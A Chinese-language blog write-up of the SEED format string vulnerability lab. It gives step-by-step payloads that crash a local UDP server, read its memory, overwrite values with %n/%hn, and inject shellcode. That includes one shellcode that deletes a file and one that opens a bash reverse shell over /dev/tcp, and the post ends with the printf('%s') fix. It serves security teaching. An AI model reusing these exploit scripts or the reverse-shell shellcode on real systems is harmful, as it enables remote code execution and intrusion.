Format String Vulnerability Lab
Overview
printf()中的第一个参数成为格式化字符串,而这里则是有可能被利用从而运行任意代码的,刚开始挺懵的,参考了一篇不错的blog,在这里mark一下:格式化字符串漏洞学习
Lab Tasks
Task 1: The Vulnerable Program
向sever process发送消息,可以看到会进行相应的打印
Task 2: Understanding the Layout of the Stack
下面的figure 1给我们提供了一个stack的大概框架
在这里,input array的地址就是buf的首地址,为0xbffff0e0
之后,要想办法来找到myprintf函数中return address所在的栈地址以及printf()的格式化字符串所在的地址
可以看到return address的值是0x080487e5
之后我们在gdb中用断点来进行调试(注意gdb中的地址并非是真实的栈的地址,因为gdb过程中会向栈中加入一些信息),首先在mian()中调用printf()之前设置断点,因为在调用之前都需要先将参数压入栈中
所以其中eax的值就是buf的地址,是0xbfffe770
同理,我们也在myprintf()调用printf打印msg信息之前也设置断点,但是在这里run的话,server program会去等待client的输入,所以我们在client传一个input文件,来让server端来打印栈中的内容
python -c 'print "AAAA"+"%08X."*40' > input nc -u 127.0.0.1 9090 <input
有如下显示结果:
这时候可以看到buffer(圈3)以及return address 的相对偏移量是0xa4,之后在用真正的buffer的虚拟地址减一下就好,是0xbffff03b
并且上图中的断点正好是在push之前,此时的esp - 4就是format string的地址,&format string = 0xbfffe630,但是这些并不是真正的虚拟地址,而是在gdb调试中的地址,但是可以用来计算相对位置
而此时,圈1和圈3的相对偏移量为0x140 = 320byte,真实的地址分别为(3)0xbffff0e0,(2)0xbffff03b(1)0xbfffefa0
Task3: Crash the Program
这一步要求我们输入一个message,这个message会使得当myprintf()尝试执行printf(msg)的时候,程序会发生崩溃,其中一个方法是修改掉myprintf()的返回地址,这样会发生退出错误,程序崩溃,从上面我们可以知道myprintf()的返回地址的地址是(2)0xbfffefb8
构造payload
python -c 'print "\xb8\xef\xff\xbf%80$n"' > input2
nc -u 127.0.0.1 9090 <input2
%81$n可以认为是program会向前寻找第81个参数已经输出的字节数,即将返回地址会被写入为4,此时发生程序崩溃
Task 4: Print Out the Server Program’s Memory
Task 4.A: Stack Data.
跟上一个task基本一样,只不过是需要print出来,而不是进行修改
构造payload
python -c 'print "AAAA%80$8x"' >input3
nc -u 127.0.0.1 9090 <input3
Heap Data
直接利用对应的地址进行构造就行
python -c 'print "\x70\x88\x04\x08%80$s"' > input2
nc -u 127.0.0.1 9090 <input2
)
Task 5: Change the Server Program’s Memory
在这一个task中,我们需要通过修改payload来对target的值进行修改
Change the value to a different value
与task3类似,直接进行构造
python -c 'print "\x44\xa0\x04\x08%80$n"' > input2
nc -u 127.0.0.1 9090 <input2
Change the value to 0x500
在进行定向修改的时候,需要把位数进行扩充0x500 - 0x4 = 0x4FC = 1276,因为$n是要将此时已经打印出来的字节数写入到对应的变量/地址当中去,在这里采用%1276x来进行1276个字节的填充
python -c 'print "\x44\xa0\x04\x08%1276x%80$n"' > input2
nc -u 127.0.0.1 9090 <input2
Change the value to 0xFF990000
当要把内存中的某个地方的值改为一个比较大的数字的时候,如果采用%n写入的话,需要提前输入数量巨大的值,所以,如果我们需要改写的时候,最好的方法是采用%hn,它一次写入两个字节,这增加了他的效率,因为每个字节上的数是已经打印的字节数,比如0x7816,如果是四字节写入的话,那么将需要0x7816个字节来打印,而如果是采用%hn,则需要分别写入0x78和0x16,大大的降低了时间
而当我们要写入一个特别小的数字的时候,由于前面总会需要我们来提供在内存中的位置,所以中会有一些字节是需要被打印的,这使得我们的%n的范围看起来是有下界的,但是并不是这样,因为我们可以通过溢出来达到我们的目的
接下来进行构造payload,首先是防止目标的地址(0x0804a044)
\x44\xa0\x04\x08\x46\xa0\x04\x08
这时候我们已经输入了8个字节,第一块空间写的是0x0000,所以采用溢出的方式,需要些0x10000个,剩余填充0x10000 - 0x8 = 65528,之后向第二个空间写入,他需要的是0x1FF99(因为如果是写入0xFF99的话,前面的填充的个数已经超过了,所以只能采取溢出的方式),0x1FF99 - 0x10000 = 0xFF99 = 65433
所以payload形式如下
python -c 'print "\x44\xa0\x04\x08\x46\xa0\x04\x08%65528x%80$hn%65433x%81$hn"' > input2
Task 6: Inject Malicious Code into the Server Program
在这里我们需要把shellcode写入内存,同时修改返回地址为shellcode的地址,在这里可以填充nop指令(0x90)这样的话就算是没有跳转到shellcode的起始地址,我们也可以通过nop来到达
首先,把shellcode的地址设为buffer起始地点 + 0x100,之后把shellcode的高地址和低地址分开运算,这是为了能够用$hn来进行写入,如果低地址小于8(分为2字节来传输的时候,每个地址4字节,至少也要是8字节,这时候只能按照溢出的方法来进行)就用溢出,如果高地址大于低地址,就用高地址减去低地址,之后就进行要分别填充的fill1和fill2,之后就printf就可以了
#!/usr/bin/python3
import sys
shellcode= '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x68 \x68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'
shellcode_address = 0xbffff0e0 + 0x100
high_adr, low_adr = divmod(shellcode_address, 0x10000)
fill1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print ('\x3c\xf0\xff\xbf\x3e\xf0\xff\xbf' + '%' + str(fill1) + 'x%80$hn%' + str(fill2) + 'x%81$hn' + nop*0x100 +shellcode)
之后运行
python injection.py > input2
nc -u 127.0.0.1 9090 < input2
不建立myfile,则会出现报错
Task 7: Getting a Reverse Shell
将shellcode进行修改,其他的地方不用改变
#!/usr/bin/python3
import sys
#shellcode= '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x68 \x68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
shellcode = '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'
shellcode_address = 0xbffff0e0 + 0x100
high_adr, low_adr = divmod(shellcode_address, 0x10000)
fill1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print ('\x3c\xf0\xff\xbf\x3e\xf0\xff\xbf' + '%' + str(fill1) + 'x%80$hn%' + str(fill2) + 'x%81$hn' + nop*0x100 +shellcode)
这时候进行运行,结果如下
Task 8: Fixing the Problem
warning的信息
format not a string literal and no format arguments
是在说不是在格式化参数,解决方案,改为printf(“%s”,msg)即可,此时没有warning
Summary
在这次lab中,涉及到了Format-String 漏洞的利用,主要是format-String要指向buffer的区域,以及说通过构造payload
一般来说,每个函数的参数个数都是固定的,被调用的函数知道应该从内存中读取多少个变量,但printf是可变参数的函数,对可变参数的函数而言,一切就变得模糊了起来。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。所以printf函数要求传入一个format参数用以指定到底有多少,怎么样的参数被传入其中。然后它就会忠实的按照函数的调用者传入的格式一个一个的打印出数据。由于编程者的疏忽,把格式化字符串的操纵权交给用户,就会产生后面任意地址读写的漏洞。
所以format参数一般就是‘’‘’形式,其中有一个过程是我们通过构造payload AAAA+…以及通过打印出来的栈中的41414141来确定偏移量,这是由于一方面参数是由右到左依次入栈,还因为有一些与格式化字符串无关的函数以及其它内容,比如在我们这task2中,相隔0x80,但是其中却有着例如msg以及返回地址等相关的东西
过程应该是如下的,在格式化字符串漏洞中,例如printf(str),先将我们构造的str放到一个buffer区域中,之后在调用到printf()函数的时候,其实真正作为参数传入的,是格式化字符串的指针
这里还参考了这一篇blogprintf()深入解析
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!